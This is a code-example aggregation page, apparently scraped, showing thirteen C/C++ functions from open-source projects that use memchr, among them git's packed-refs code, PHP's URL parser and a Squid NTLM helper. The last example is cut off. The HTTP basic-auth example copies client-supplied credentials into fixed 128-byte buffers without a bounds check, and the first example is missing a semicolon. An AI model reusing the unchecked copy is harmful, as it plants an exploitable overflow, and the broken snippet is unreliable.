コード例 #1
0
ファイル: hconsole.c プロジェクト: mstram/spinhawk
int get_cursor_pos( int keybrd_fd, FILE* confp, short* row, short* col )
{
    struct  timeval tv;                 /* Select timeout structure  */
    fd_set  readset;                    /* Select file descriptors   */
    char    kbbuf[16];                  /* Keyboard i/p buffer       */
    char*   semi;                       /* Index of semicolon        */
    int     kblen;                      /* Number of chars in kbbuf  */
    int     maxfd;                      /* Highest file descriptor   */
    int     rc;                         /* Return code               */
    char    c;                          /* Work for scanf            */

    /* Request the CPR (Cursor Position Report) */
    if ( fprintf( confp, KBD_ASK_CURSOR_POS ) < 0 )
        return -1;

    /* Read the CPR from the keyboard i/p buffer */
    while (1)
    {
        FD_ZERO (&readset);
        FD_SET (keybrd_fd, &readset);
        maxfd = keybrd_fd;
        tv.tv_sec  = 0;
        tv.tv_usec = 50 * 1000; // (PLENTY long enough!)

        /* Wait for CPR to arrive in our i/p buffer */
        rc = select (maxfd + 1, &readset, NULL, NULL, &tv);

        if (rc < 0 )
        {
            if (errno == EINTR) continue;
            errno = EIO;
            break;
        }

        /* If keyboard input has arrived then process it */
        if (!FD_ISSET(keybrd_fd, &readset))
            continue;

        /* Read character(s) from the keyboard */
        kblen = read (keybrd_fd, kbbuf, sizeof(kbbuf)-1);

        if (kblen < 0)
        {
            errno = EIO;
            break;
        }

        kbbuf[kblen] = 0;

        // The returned CPR is the string "\x1B[n;mR"
        // where n = decimal row, m = decimal column.

        // Note: we expect the entire the CPR to have
        // been read on our first i/o (i.e. for it to
        // have arrived all at once in one piece) and
        // not piecemeal requiring several i/o's...
        if (0
                || kblen < 6
                || kbbuf[   0   ] != '\x1B'
                || kbbuf[   1   ] != '['
                || kbbuf[kblen-1] != 'R'
                || (semi = memchr( kbbuf, ';', kblen )) == NULL
                || (semi - kbbuf) < 3
                || sscanf( &kbbuf[2], "%hu%c", row, &c ) != 2 || c != ';'
                || sscanf( semi+1,    "%hu%c", col, &c ) != 2 || c != 'R'
           )
        {
            errno = EIO;
            rc = -1;
            break;
        }

        /* Success! */
        rc = 0;
        break
    }

    return rc;
}
コード例 #2
0
ERROR_CODE auth_file_http(char *auth_file, char *authorization, unsigned char *result) {
    /* allocates space for the error return value to be
    used in error checking for function calls */
    ERROR_CODE return_value;

    /* allocates space for the pointer to the passwd key
    value structure to be created by parsing the auth file */
    struct hash_map_t *passwd;

    /* allocates space to the various pointer values to be
    used for the separation and treatment of the auth value */
    char *pointer;
    char *authorization_b64;
    char *authorization_d;
    char *password_pointer;

    /* allocates space for the buffers to be used for the username
    and password values extracted from the authorization token */
    char username[128];
    char password[128];
    char *password_v;

    /* allocates the various size relates values for the buffer
    variables creation */
    size_t authorization_size;
    size_t username_size;
    size_t password_size;

    /* tries to find the token that separates the authentication
    type from the authorization base 64 value in case the value
    is not found raises an error indicating the problem */
    pointer = strchr(authorization, ' ');
    if(pointer == NULL) {
        RAISE_ERROR_M(
            RUNTIME_EXCEPTION_ERROR_CODE,
            (unsigned char *) "Authorization value not valid"
        );
    }
    authorization_b64 = pointer + 1;

    /* tries to decode the authorization base 64 value into a plain
    text value in case the decoding fails, re-raises the error to
    the upper levels for caller information */
    return_value = decode_base64(
        (unsigned char *) authorization_b64,
        strlen(authorization_b64),
        (unsigned char **) &authorization_d,
        &authorization_size
    );
    if(IS_ERROR_CODE(return_value)) {
        RAISE_ERROR_M(
            RUNTIME_EXCEPTION_ERROR_CODE,
            (unsigned char *) "Problem decoding base 64 authorization"
        );
    }

    /* tries to find the token that separates the username part of the
    authorization from the password part in case the value is not found
    raises an error to the upper levels */
    pointer = memchr(authorization_d, ':', authorization_size);
    if(pointer == NULL) {
        FREE(authorization_d);
        RAISE_ERROR_M(
            RUNTIME_EXCEPTION_ERROR_CODE,
            (unsigned char *) "No password separator found in authorization"
        );
    }
    password_pointer = pointer + 1;

    /* calculates the size of both the username and the password
    from the diference between the various pointers */
    username_size = password_pointer - authorization_d - 1;
    password_size = authorization_d + authorization_size - password_pointer;

    /* copies both the username and the password values to
    the apropriate internal buffers (to be used in comparision) */
    memcpy(username, authorization_d, username_size);
    username[username_size] = '\0';
    memcpy(password, password_pointer, password_size);
    password[password_size] = '\0';

    /* processes the passwd file using the provided file path
    for it, this is an expensive io driven operation, and must
    be used wth care */
    process_passwd_file(auth_file, &passwd);

    /* retrieves the password verification value for the
    retrieved username and in case it's valid compares it
    and sets the result value accordingly */
    get_value_string_hash_map(
        passwd,
        (unsigned char *) username,
        (void **) &password_v
    );
    if(password_v != NULL && strcmp(password, password_v) == 0) {
        *result = TRUE;
    } else { *result = FALSE; }

    /* releases the memory associated with the complete set
    of values in the passwd structure and then releases the
    memory from the hash map structure itself, then releases
    the memory associated with the authorization decoded string */
    delete_values_hash_map(passwd);
    delete_hash_map(passwd);
    FREE(authorization_d);

    /* raises no error, as everything has been done as possible
    with no problems created in the processing */
    RAISE_NO_ERROR;
}
コード例 #3
0
ファイル: Buffer.cpp プロジェクト: guker/utility
const char* Buffer::findEOL() const
{
    const void* eol = memchr(peek(), '\n', readableBytes());
    return static_cast<const char*>(eol);
}
コード例 #4
0
/*
 * Only those URLs are identified as URLs for which phishing detection can be performed.
 */
static int isURL(char* URL, int accept_anyproto)
{
	char *last_tld_end = NULL, *q;
	const char *start = NULL, *p, *end;
	int has_proto = 0;
	if(!URL)
		return 0;

	while (*URL == ' ') URL++;
	switch (URL[0]) {
		case 'h':
			if (strncmp(URL, https, https_len) == 0)
				start = URL + https_len - 1;
			else if (strncmp(URL, http, http_len) == 0)
				start = URL + http_len - 1;
			break;
		case 'f':
		       if (strncmp(URL, ftp, ftp_len) == 0)
			       start = URL + ftp_len - 1;
		       break;
		case 'm':
		       if (strncmp(URL, mailto_proto, mailto_proto_len) == 0)
			       start = URL + mailto_proto_len - 1;
		       break;
	}
	if(start && start[1] == '/' && start[2] == '/') {
		/* has a valid protocol, it is a URL */
		return 1;
	}
	start = accept_anyproto ?  strchr(URL, ':') : start;
	if(start) {
		/* validate URI scheme */
		if(validate_uri_ialpha(URL, start)) {
			/* skip :// */
			if (start[1] == '/') {
			    start += 2;
			    if (*start == '/')
				start++;
			} else
			    start++;
			has_proto = 1;
		}
		else
			start = URL; /* scheme invalid */
	} else
		start = URL;
	p = start;
	end = strchr(p, '/');
	if (!end)
		end = p + strlen(p);

	if (!has_proto && (q = memchr(p, '@', end-p))) {
	    /* don't phishcheck if displayed URL is email, but do phishcheck if
	     * foo.TLD@host is used */
	    const char *q2 = q-1;
	    while (q2 > p && *q2 != '.') q2--;
	    if (q2 == p || !in_tld_set(q2+1, q-q2-1))
		return 0;
	}

	do {
		q = strchr(p, '.');
		if (q > end)
			break;
		if(q) {
			if(!validate_uri_xpalphas_nodot(p, q))
				return 0;
			if (accept_anyproto && in_tld_set(p, q-p))
			    last_tld_end = q;
			p = q+1;
		}
	} while(q);
	if (p == start) /* must have at least one dot in the URL */
		return 0;
	if (end < p)
		end = p;
	while (*end == ' ' && end > p) --end;

	if (in_tld_set(p, end - p))
	    return 1;
	if (!accept_anyproto)
	    return 0;
	if (last_tld_end) {
	    *last_tld_end = '\0';
	    return 1;
	}
	return 0;
}
コード例 #5
0
ファイル: btr.c プロジェクト: eepp/babeltrace
static inline
enum bt_btr_status read_basic_string_type_and_call(
		struct bt_btr *btr, bool begin)
{
	size_t buf_at_bytes;
	const uint8_t *result;
	size_t available_bytes;
	const uint8_t *first_chr;
	enum bt_btr_status status = BT_BTR_STATUS_OK;

	if (!at_least_one_bit_left(btr)) {
		BT_LOGV("Reached end of data: btr-addr=%p", btr);
		status = BT_BTR_STATUS_EOF;
		goto end;
	}

	assert(buf_at_from_addr(btr) % 8 == 0);
	available_bytes = BITS_TO_BYTES_FLOOR(available_bits(btr));
	buf_at_bytes = BITS_TO_BYTES_FLOOR(buf_at_from_addr(btr));
	assert(btr->buf.addr);
	first_chr = &btr->buf.addr[buf_at_bytes];
	result = memchr(first_chr, '\0', available_bytes);

	if (begin && btr->user.cbs.types.string_begin) {
		BT_LOGV("Calling user function (string, beginning).");
		status = btr->user.cbs.types.string_begin(
			btr->cur_basic_field_type, btr->user.data);
		BT_LOGV("User function returned: status=%s",
			bt_btr_status_string(status));
		if (status != BT_BTR_STATUS_OK) {
			BT_LOGW("User function failed: btr-addr=%p, status=%s",
				btr, bt_btr_status_string(status));
			goto end;
		}
	}

	if (!result) {
		/* No null character yet */
		if (btr->user.cbs.types.string) {
			BT_LOGV("Calling user function (substring).");
			status = btr->user.cbs.types.string(
				(const char *) first_chr,
				available_bytes, btr->cur_basic_field_type,
				btr->user.data);
			BT_LOGV("User function returned: status=%s",
				bt_btr_status_string(status));
			if (status != BT_BTR_STATUS_OK) {
				BT_LOGW("User function failed: "
					"btr-addr=%p, status=%s",
					btr, bt_btr_status_string(status));
				goto end;
			}
		}

		consume_bits(btr, BYTES_TO_BITS(available_bytes));
		btr->state = BTR_STATE_READ_BASIC_CONTINUE;
		status = BT_BTR_STATUS_EOF;
	} else {
		/* Found the null character */
		size_t result_len = (size_t) (result - first_chr);

		if (btr->user.cbs.types.string && result_len) {
			BT_LOGV("Calling user function (substring).");
			status = btr->user.cbs.types.string(
				(const char *) first_chr,
				result_len, btr->cur_basic_field_type,
				btr->user.data);
			BT_LOGV("User function returned: status=%s",
				bt_btr_status_string(status));
			if (status != BT_BTR_STATUS_OK) {
				BT_LOGW("User function failed: "
					"btr-addr=%p, status=%s",
					btr, bt_btr_status_string(status));
				goto end;
			}
		}

		if (btr->user.cbs.types.string_end) {
			BT_LOGV("Calling user function (string, end).");
			status = btr->user.cbs.types.string_end(
				btr->cur_basic_field_type, btr->user.data);
			BT_LOGV("User function returned: status=%s",
				bt_btr_status_string(status));
			if (status != BT_BTR_STATUS_OK) {
				BT_LOGW("User function failed: "
					"btr-addr=%p, status=%s",
					btr, bt_btr_status_string(status));
				goto end;
			}
		}

		consume_bits(btr, BYTES_TO_BITS(result_len + 1));

		if (stack_empty(btr->stack)) {
			/* Root is a basic type */
			btr->state = BTR_STATE_DONE;
		} else {
			/* Go to next field */
			stack_top(btr->stack)->index++;
			btr->state = BTR_STATE_NEXT_FIELD;
			btr->last_bo = btr->cur_bo;
		}
	}

end:
	return status;
}
コード例 #6
0
ファイル: config.c プロジェクト: ZhepingYang/xinu
size_t strnlen(const char *s, size_t n)
{
    const char *p = (const char *)memchr(s, 0, n);
    return(p ? p-s : n);
}
コード例 #7
0
ファイル: chdir-long.c プロジェクト: DavidChenLiang/study
int
chdir_long (char *dir)
{
  int e = chdir (dir);
  if (e == 0 || errno != ENAMETOOLONG)
    return e;

  {
    size_t len = strlen (dir);
    char *dir_end = dir + len;
    struct cd_buf cdb;
    size_t n_leading_slash;

    cdb_init (&cdb);

    /* If DIR is the empty string, then the chdir above
       must have failed and set errno to ENOENT.  */
    assert (0 < len);
    assert (PATH_MAX <= len);

    /* Count leading slashes.  */
    n_leading_slash = strspn (dir, "/");

    /* Handle any leading slashes as well as any name that matches
       the regular expression, m!^//hostname[/]*! .  Handling this
       prefix separately usually results in a single additional
       cdb_advance_fd call, but it's worthwhile, since it makes the
       code in the following loop cleaner.  */
    if (n_leading_slash == 2)
      {
        int err;
        /* Find next slash.
           We already know that dir[2] is neither a slash nor '\0'.  */
        char *slash = memchr (dir + 3, '/', dir_end - (dir + 3));
        if (slash == NULL)
          {
            errno = ENAMETOOLONG;
            return -1;
          }
        *slash = '\0';
        err = cdb_advance_fd (&cdb, dir);
        *slash = '/';
        if (err != 0)
          goto Fail;
        dir = find_non_slash (slash + 1);
      }
    else if (n_leading_slash)
      {
        if (cdb_advance_fd (&cdb, "/") != 0)
          goto Fail;
        dir += n_leading_slash;
      }

    assert (*dir != '/');
    assert (dir <= dir_end);

    while (PATH_MAX <= dir_end - dir)
      {
        int err;
        /* Find a slash that is PATH_MAX or fewer bytes away from dir.
           I.e. see if there is a slash that will give us a name of
           length PATH_MAX-1 or less.  */
        char *slash = memrchr (dir, '/', PATH_MAX);
        if (slash == NULL)
          {
            errno = ENAMETOOLONG;
            return -1;
          }

        *slash = '\0';
        assert (slash - dir < PATH_MAX);
        err = cdb_advance_fd (&cdb, dir);
        *slash = '/';
        if (err != 0)
          goto Fail;

        dir = find_non_slash (slash + 1);
      }

    if (dir < dir_end)
      {
        if (cdb_advance_fd (&cdb, dir) != 0)
          goto Fail;
      }

    if (cdb_fchdir (&cdb) != 0)
      goto Fail;

    cdb_free (&cdb);
    return 0;

   Fail:
    {
      int saved_errno = errno;
      cdb_free (&cdb);
      errno = saved_errno;
      return -1;
    }
  }
}
コード例 #8
0
ファイル: vs_msg.c プロジェクト: Hooman3/minix
/*
 * vs_output --
 *	Output the text to the screen.
 */
static void
vs_output(SCR *sp, mtype_t mtype, const char *line, int llen)
{
	unsigned char *kp;
	GS *gp;
	VI_PRIVATE *vip;
	size_t chlen, notused;
	int ch, len, tlen;
	const char *p, *t;
	char *cbp, *ecbp, cbuf[128];

	gp = sp->gp;
	vip = VIP(sp);
	for (p = line; llen > 0;) {
		/* Get the next physical line. */
		if ((p = memchr(line, '\n', llen)) == NULL)
			len = llen;
		else
			len = p - line;

		/*
		 * The max is sp->cols characters, and we may have already
		 * written part of the line.
		 */
		if (len + vip->lcontinue > sp->cols)
			len = sp->cols - vip->lcontinue;

		/*
		 * If the first line output, do nothing.  If the second line
		 * output, draw the divider line.  If drew a full screen, we
		 * remove the divider line.  If it's a continuation line, move
		 * to the continuation point, else, move the screen up.
		 */
		if (vip->lcontinue == 0) {
			if (!IS_ONELINE(sp)) {
				if (vip->totalcount == 1) {
					(void)gp->scr_move(sp,
					    LASTLINE(sp) - 1, 0);
					(void)gp->scr_clrtoeol(sp);
					(void)vs_divider(sp);
					F_SET(vip, VIP_DIVIDER);
					++vip->totalcount;
					++vip->linecount;
				}
				if (vip->totalcount == sp->t_maxrows &&
				    F_ISSET(vip, VIP_DIVIDER)) {
					--vip->totalcount;
					--vip->linecount;
					F_CLR(vip, VIP_DIVIDER);
				}
			}
			if (vip->totalcount != 0)
				vs_scroll(sp, NULL, SCROLL_W_QUIT);

			(void)gp->scr_move(sp, LASTLINE(sp), 0);
			++vip->totalcount;
			++vip->linecount;

			if (INTERRUPTED(sp))
				break;
		} else
			(void)gp->scr_move(sp, LASTLINE(sp), vip->lcontinue);

		/* Error messages are in inverse video. */
		if (mtype == M_ERR)
			(void)gp->scr_attr(sp, SA_INVERSE, 1);

		/* Display the line, doing character translation. */
#define	FLUSH {								\
	*cbp = '\0';							\
	(void)gp->scr_addstr(sp, cbuf, cbp - cbuf);			\
	cbp = cbuf;							\
}
		ecbp = (cbp = cbuf) + sizeof(cbuf) - 1;
		for (t = line, tlen = len; tlen--; ++t) {
			ch = *t;
			/*
			 * Replace tabs with spaces, there are places in
			 * ex that do column calculations without looking
			 * at <tabs> -- and all routines that care about
			 * <tabs> do their own expansions.  This catches
			 * <tabs> in things like tag search strings.
			 */
			if (ch == '\t')
				ch = ' ';
			chlen = KEY_LEN(sp, ch);
			if (cbp + chlen >= ecbp)
				FLUSH;
			for (kp = KEY_NAME(sp, ch); chlen--;)
				*cbp++ = *kp++;
		}
		if (cbp > cbuf)
			FLUSH;
		if (mtype == M_ERR)
			(void)gp->scr_attr(sp, SA_INVERSE, 0);

		/* Clear the rest of the line. */
		(void)gp->scr_clrtoeol(sp);

		/* If we loop, it's a new line. */
		vip->lcontinue = 0;

		/* Reset for the next line. */
		line += len;
		llen -= len;
		if (p != NULL) {
			++line;
			--llen;
		}
	}

	/* Set up next continuation line. */
	if (p == NULL)
		gp->scr_cursor(sp, &notused, &vip->lcontinue);
}
コード例 #9
0
ファイル: url.c プロジェクト: shshenpengfei/php-src
/* {{{ php_url_parse
 */
PHPAPI php_url *php_url_parse_ex(char const *str, size_t length)
{
    char port_buf[6];
    php_url *ret = ecalloc(1, sizeof(php_url));
    char const *s, *e, *p, *pp, *ue;

    s = str;
    ue = s + length;

    /* parse scheme */
    if ((e = memchr(s, ':', length)) && (e - s)) {
        /* validate scheme */
        p = s;
        while (p < e) {
            /* scheme = 1*[ lowalpha | digit | "+" | "-" | "." ] */
            if (!isalpha(*p) && !isdigit(*p) && *p != '+' && *p != '.' && *p != '-') {
                if (e + 1 < ue) {
                    goto parse_port;
                } else {
                    goto just_path;
                }
            }
            p++;
        }

        if (*(e + 1) == '\0') { /* only scheme is available */
            ret->scheme = estrndup(s, (e - s));
            php_replace_controlchars_ex(ret->scheme, (e - s));
            goto end;
        }

        /*
         * certain schemas like mailto: and zlib: may not have any / after them
         * this check ensures we support those.
         */
        if (*(e+1) != '/') {
            /* check if the data we get is a port this allows us to
             * correctly parse things like a.com:80
             */
            p = e + 1;
            while (isdigit(*p)) {
                p++;
            }

            if ((*p == '\0' || *p == '/') && (p - e) < 7) {
                goto parse_port;
            }

            ret->scheme = estrndup(s, (e-s));
            php_replace_controlchars_ex(ret->scheme, (e - s));

            length -= ++e - s;
            s = e;
            goto just_path;
        } else {
            ret->scheme = estrndup(s, (e-s));
            php_replace_controlchars_ex(ret->scheme, (e - s));

            if (*(e+2) == '/') {
                s = e + 3;
                if (!strncasecmp("file", ret->scheme, sizeof("file"))) {
                    if (*(e + 3) == '/') {
                        /* support windows drive letters as in:
                           file:///c:/somedir/file.txt
                        */
                        if (*(e + 5) == ':') {
                            s = e + 4;
                        }
                        goto nohost;
                    }
                }
            } else {
                if (!strncasecmp("file", ret->scheme, sizeof("file"))) {
                    s = e + 1;
                    goto nohost;
                } else {
                    length -= ++e - s;
                    s = e;
                    goto just_path;
                }
            }
        }
    } else if (e) { /* no scheme; starts with colon: look for port */
parse_port:
        p = e + 1;
        pp = p;

        while (pp-p < 6 && isdigit(*pp)) {
            pp++;
        }

        if (pp - p > 0 && pp - p < 6 && (*pp == '/' || *pp == '\0')) {
            zend_long port;
            memcpy(port_buf, p, (pp - p));
            port_buf[pp - p] = '\0';
            port = ZEND_STRTOL(port_buf, NULL, 10);
            if (port > 0 && port <= 65535) {
                ret->port = (unsigned short) port;
            } else {
                if (ret->scheme) efree(ret->scheme);
                efree(ret);
                return NULL;
            }
        } else if (p == pp && *pp == '\0') {
            if (ret->scheme) efree(ret->scheme);
            efree(ret);
            return NULL;
        } else if (*s == '/' && *(s+1) == '/') { /* relative-scheme URL */
            s += 2;
        } else {
            goto just_path;
        }
    } else if (*s == '/' && *(s+1) == '/') { /* relative-scheme URL */
        s += 2;
    } else {
just_path:
        ue = s + length;
        goto nohost;
    }

    e = ue;

    if (!(p = memchr(s, '/', (ue - s)))) {
        char *query, *fragment;

        query = memchr(s, '?', (ue - s));
        fragment = memchr(s, '#', (ue - s));

        if (query && fragment) {
            if (query > fragment) {
                e = fragment;
            } else {
                e = query;
            }
        } else if (query) {
            e = query;
        } else if (fragment) {
            e = fragment;
        }
    } else {
        e = p;
    }

    /* check for login and password */
    if ((p = zend_memrchr(s, '@', (e-s)))) {
        if ((pp = memchr(s, ':', (p-s)))) {
            ret->user = estrndup(s, (pp-s));
            php_replace_controlchars_ex(ret->user, (pp - s));

            pp++;
            ret->pass = estrndup(pp, (p-pp));
            php_replace_controlchars_ex(ret->pass, (p-pp));
        } else {
            ret->user = estrndup(s, (p-s));
            php_replace_controlchars_ex(ret->user, (p-s));
        }

        s = p + 1;
    }

    /* check for port */
    if (*s == '[' && *(e-1) == ']') {
        /* Short circuit portscan,
           we're dealing with an
           IPv6 embedded address */
        p = s;
    } else {
        /* memrchr is a GNU specific extension
           Emulate for wide compatibility */
        for(p = e; p >= s && *p != ':'; p--);
    }

    if (p >= s && *p == ':') {
        if (!ret->port) {
            p++;
            if (e-p > 5) { /* port cannot be longer then 5 characters */
                if (ret->scheme) efree(ret->scheme);
                if (ret->user) efree(ret->user);
                if (ret->pass) efree(ret->pass);
                efree(ret);
                return NULL;
            } else if (e - p > 0) {
                zend_long port;
                memcpy(port_buf, p, (e - p));
                port_buf[e - p] = '\0';
                port = ZEND_STRTOL(port_buf, NULL, 10);
                if (port > 0 && port <= 65535) {
                    ret->port = (unsigned short)port;
                } else {
                    if (ret->scheme) efree(ret->scheme);
                    if (ret->user) efree(ret->user);
                    if (ret->pass) efree(ret->pass);
                    efree(ret);
                    return NULL;
                }
            }
            p--;
        }
    } else {
        p = e;
    }

    /* check if we have a valid host, if we don't reject the string as url */
    if ((p-s) < 1) {
        if (ret->scheme) efree(ret->scheme);
        if (ret->user) efree(ret->user);
        if (ret->pass) efree(ret->pass);
        efree(ret);
        return NULL;
    }

    ret->host = estrndup(s, (p-s));
    php_replace_controlchars_ex(ret->host, (p - s));

    if (e == ue) {
        return ret;
    }

    s = e;

nohost:

    if ((p = memchr(s, '?', (ue - s)))) {
        pp = strchr(s, '#');

        if (pp && pp < p) {
            if (pp - s) {
                ret->path = estrndup(s, (pp-s));
                php_replace_controlchars_ex(ret->path, (pp - s));
            }
            p = pp;
            goto label_parse;
        }

        if (p - s) {
            ret->path = estrndup(s, (p-s));
            php_replace_controlchars_ex(ret->path, (p - s));
        }

        if (pp) {
            if (pp - ++p) {
                ret->query = estrndup(p, (pp-p));
                php_replace_controlchars_ex(ret->query, (pp - p));
            }
            p = pp;
            goto label_parse;
        } else if (++p - ue) {
            ret->query = estrndup(p, (ue-p));
            php_replace_controlchars_ex(ret->query, (ue - p));
        }
    } else if ((p = memchr(s, '#', (ue - s)))) {
        if (p - s) {
            ret->path = estrndup(s, (p-s));
            php_replace_controlchars_ex(ret->path, (p - s));
        }

label_parse:
        p++;

        if (ue - p) {
            ret->fragment = estrndup(p, (ue-p));
            php_replace_controlchars_ex(ret->fragment, (ue - p));
        }
    } else {
        ret->path = estrndup(s, (ue-s));
        php_replace_controlchars_ex(ret->path, (ue - s));
    }
end:
    return ret;
}
コード例 #10
0
ファイル: packed-backend.c プロジェクト: ro-ot/git
/*
 * Move the iterator to the next record in the snapshot, without
 * respect for whether the record is actually required by the current
 * iteration. Adjust the fields in `iter` and return `ITER_OK` or
 * `ITER_DONE`. This function does not free the iterator in the case
 * of `ITER_DONE`.
 */
static int next_record(struct packed_ref_iterator *iter)
{
	const char *p = iter->pos, *eol;

	strbuf_reset(&iter->refname_buf);

	if (iter->pos == iter->eof)
		return ITER_DONE;

	iter->base.flags = REF_ISPACKED;

	if (iter->eof - p < GIT_SHA1_HEXSZ + 2 ||
	    parse_oid_hex(p, &iter->oid, &p) ||
	    !isspace(*p++))
		die_invalid_line(iter->snapshot->refs->path,
				 iter->pos, iter->eof - iter->pos);

	eol = memchr(p, '\n', iter->eof - p);
	if (!eol)
		die_unterminated_line(iter->snapshot->refs->path,
				      iter->pos, iter->eof - iter->pos);

	strbuf_add(&iter->refname_buf, p, eol - p);
	iter->base.refname = iter->refname_buf.buf;

	if (check_refname_format(iter->base.refname, REFNAME_ALLOW_ONELEVEL)) {
		if (!refname_is_safe(iter->base.refname))
			die("packed refname is dangerous: %s",
			    iter->base.refname);
		oidclr(&iter->oid);
		iter->base.flags |= REF_BAD_NAME | REF_ISBROKEN;
	}
	if (iter->snapshot->peeled == PEELED_FULLY ||
	    (iter->snapshot->peeled == PEELED_TAGS &&
	     starts_with(iter->base.refname, "refs/tags/")))
		iter->base.flags |= REF_KNOWS_PEELED;

	iter->pos = eol + 1;

	if (iter->pos < iter->eof && *iter->pos == '^') {
		p = iter->pos + 1;
		if (iter->eof - p < GIT_SHA1_HEXSZ + 1 ||
		    parse_oid_hex(p, &iter->peeled, &p) ||
		    *p++ != '\n')
			die_invalid_line(iter->snapshot->refs->path,
					 iter->pos, iter->eof - iter->pos);
		iter->pos = p;

		/*
		 * Regardless of what the file header said, we
		 * definitely know the value of *this* reference. But
		 * we suppress it if the reference is broken:
		 */
		if ((iter->base.flags & REF_ISBROKEN)) {
			oidclr(&iter->peeled);
			iter->base.flags &= ~REF_KNOWS_PEELED;
		} else {
			iter->base.flags |= REF_KNOWS_PEELED;
		}
	} else {
		oidclr(&iter->peeled);
	}

	return ITER_OK;
}
コード例 #11
0
ファイル: wb_ntlm_auth.c プロジェクト: carriercomm/myboxfs
int
manage_request(char *target_domain)
{
    char buf[BUFFER_SIZE + 1];
    char *c, *decoded;
    ntlmhdr *fast_header;
    int oversized = 0;


try_again:
    if (fgets(buf, BUFFER_SIZE, stdin) == NULL)
	return 0;

    c = memchr(buf, '\n', BUFFER_SIZE);
    if (c) {
	if (oversized) {
	    helperfail("illegal request received");
	    warn("Illegal request received: '%s'\n", buf);
	    return 1;
	}
	*c = '\0';
    }
    else {
	warn("No newline in '%s'\n", buf);
	oversized = 1;
	goto try_again;
    }

    debug("Got '%s' from squid.\n", buf);
    if (memcmp(buf, "YR", 2) == 0) {	/* refresh-request */
	sendchallenge(ntlm_make_challenge(target_domain, NULL,
		build_challenge(), CHALLENGE_LEN));
	return 1;
    }
    if (strncmp(buf, "KK ", 3) != 0) {	/* not an auth-request */
	helperfail("illegal request received");
	warn("Illegal request received: '%s'\n", buf);
	return 1;
    }
    /* At this point I'm sure it's a KK */
    decoded = base64_decode(buf + 3);
    if (!decoded) {		/* decoding failure, return error */
	authfail("-", "-", "Auth-format error, base64-decoding error");
	return 1;
    }
    fast_header = (struct _ntlmhdr *) decoded;

    /* sanity-check: it IS a NTLMSSP packet, isn't it? */
    if (memcmp(fast_header->signature, "NTLMSSP", 8) != 0) {
	authfail("-", "-", "Broken NTLM packet, missing NTLMSSP signature");
	return 1;
    }
    /* Understand what we got */
    switch WSWAP(fast_header->type) {
    case NTLM_NEGOTIATE:
	authfail("-", "-", "Received neg-request while expecting auth packet");
	return 1;
    case NTLM_CHALLENGE:
	authfail("-", "-", "Received challenge. Refusing to abide");
	return 1;
    case NTLM_AUTHENTICATE:
	do_authenticate((ntlm_authenticate *) decoded,
	    (strlen(buf) - 3) * 3 / 4);
	return 1;
    default:
	helperfail("Unknown authentication packet type");
	return 1;
    }
    /* notreached */
    return 1;
}
コード例 #12
0
ファイル: packed-backend.c プロジェクト: ro-ot/git
/*
 * Create a newly-allocated `snapshot` of the `packed-refs` file in
 * its current state and return it. The return value will already have
 * its reference count incremented.
 *
 * A comment line of the form "# pack-refs with: " may contain zero or
 * more traits. We interpret the traits as follows:
 *
 *   Neither `peeled` nor `fully-peeled`:
 *
 *      Probably no references are peeled. But if the file contains a
 *      peeled value for a reference, we will use it.
 *
 *   `peeled`:
 *
 *      References under "refs/tags/", if they *can* be peeled, *are*
 *      peeled in this file. References outside of "refs/tags/" are
 *      probably not peeled even if they could have been, but if we find
 *      a peeled value for such a reference we will use it.
 *
 *   `fully-peeled`:
 *
 *      All references in the file that can be peeled are peeled.
 *      Inversely (and this is more important), any references in the
 *      file for which no peeled value is recorded is not peelable. This
 *      trait should typically be written alongside "peeled" for
 *      compatibility with older clients, but we do not require it
 *      (i.e., "peeled" is a no-op if "fully-peeled" is set).
 *
 *   `sorted`:
 *
 *      The references in this file are known to be sorted by refname.
 */
static struct snapshot *create_snapshot(struct packed_ref_store *refs)
{
	struct snapshot *snapshot = xcalloc(1, sizeof(*snapshot));
	int sorted = 0;

	snapshot->refs = refs;
	acquire_snapshot(snapshot);
	snapshot->peeled = PEELED_NONE;

	if (!load_contents(snapshot))
		return snapshot;

	/* If the file has a header line, process it: */
	if (snapshot->buf < snapshot->eof && *snapshot->buf == '#') {
		struct strbuf tmp = STRBUF_INIT;
		char *p;
		const char *eol;
		struct string_list traits = STRING_LIST_INIT_NODUP;

		eol = memchr(snapshot->buf, '\n',
			     snapshot->eof - snapshot->buf);
		if (!eol)
			die_unterminated_line(refs->path,
					      snapshot->buf,
					      snapshot->eof - snapshot->buf);

		strbuf_add(&tmp, snapshot->buf, eol - snapshot->buf);

		if (!skip_prefix(tmp.buf, "# pack-refs with:", (const char **)&p))
			die_invalid_line(refs->path,
					 snapshot->buf,
					 snapshot->eof - snapshot->buf);

		string_list_split_in_place(&traits, p, ' ', -1);

		if (unsorted_string_list_has_string(&traits, "fully-peeled"))
			snapshot->peeled = PEELED_FULLY;
		else if (unsorted_string_list_has_string(&traits, "peeled"))
			snapshot->peeled = PEELED_TAGS;

		sorted = unsorted_string_list_has_string(&traits, "sorted");

		/* perhaps other traits later as well */

		/* The "+ 1" is for the LF character. */
		snapshot->header_len = eol + 1 - snapshot->buf;

		string_list_clear(&traits, 0);
		strbuf_release(&tmp);
	}

	verify_buffer_safe(snapshot);

	if (!sorted) {
		sort_snapshot(snapshot);

		/*
		 * Reordering the records might have moved a short one
		 * to the end of the buffer, so verify the buffer's
		 * safety again:
		 */
		verify_buffer_safe(snapshot);
	}

	if (mmap_strategy != MMAP_OK && snapshot->mmapped) {
		/*
		 * We don't want to leave the file mmapped, so we are
		 * forced to make a copy now:
		 */
		size_t size = snapshot->eof -
			(snapshot->buf + snapshot->header_len);
		char *buf_copy = xmalloc(size);

		memcpy(buf_copy, snapshot->buf + snapshot->header_len, size);
		clear_snapshot_buffer(snapshot);
		snapshot->buf = buf_copy;
		snapshot->eof = buf_copy + size;
	}

	return snapshot;
}
コード例 #13
0
ファイル: packed-backend.c プロジェクト: ro-ot/git
/*
 * `snapshot->buf` is not known to be sorted. Check whether it is, and
 * if not, sort it into new memory and munmap/free the old storage.
 */
static void sort_snapshot(struct snapshot *snapshot)
{
	struct snapshot_record *records = NULL;
	size_t alloc = 0, nr = 0;
	int sorted = 1;
	const char *pos, *eof, *eol;
	size_t len, i;
	char *new_buffer, *dst;

	pos = snapshot->buf + snapshot->header_len;
	eof = snapshot->eof;
	len = eof - pos;

	if (!len)
		return;

	/*
	 * Initialize records based on a crude estimate of the number
	 * of references in the file (we'll grow it below if needed):
	 */
	ALLOC_GROW(records, len / 80 + 20, alloc);

	while (pos < eof) {
		eol = memchr(pos, '\n', eof - pos);
		if (!eol)
			/* The safety check should prevent this. */
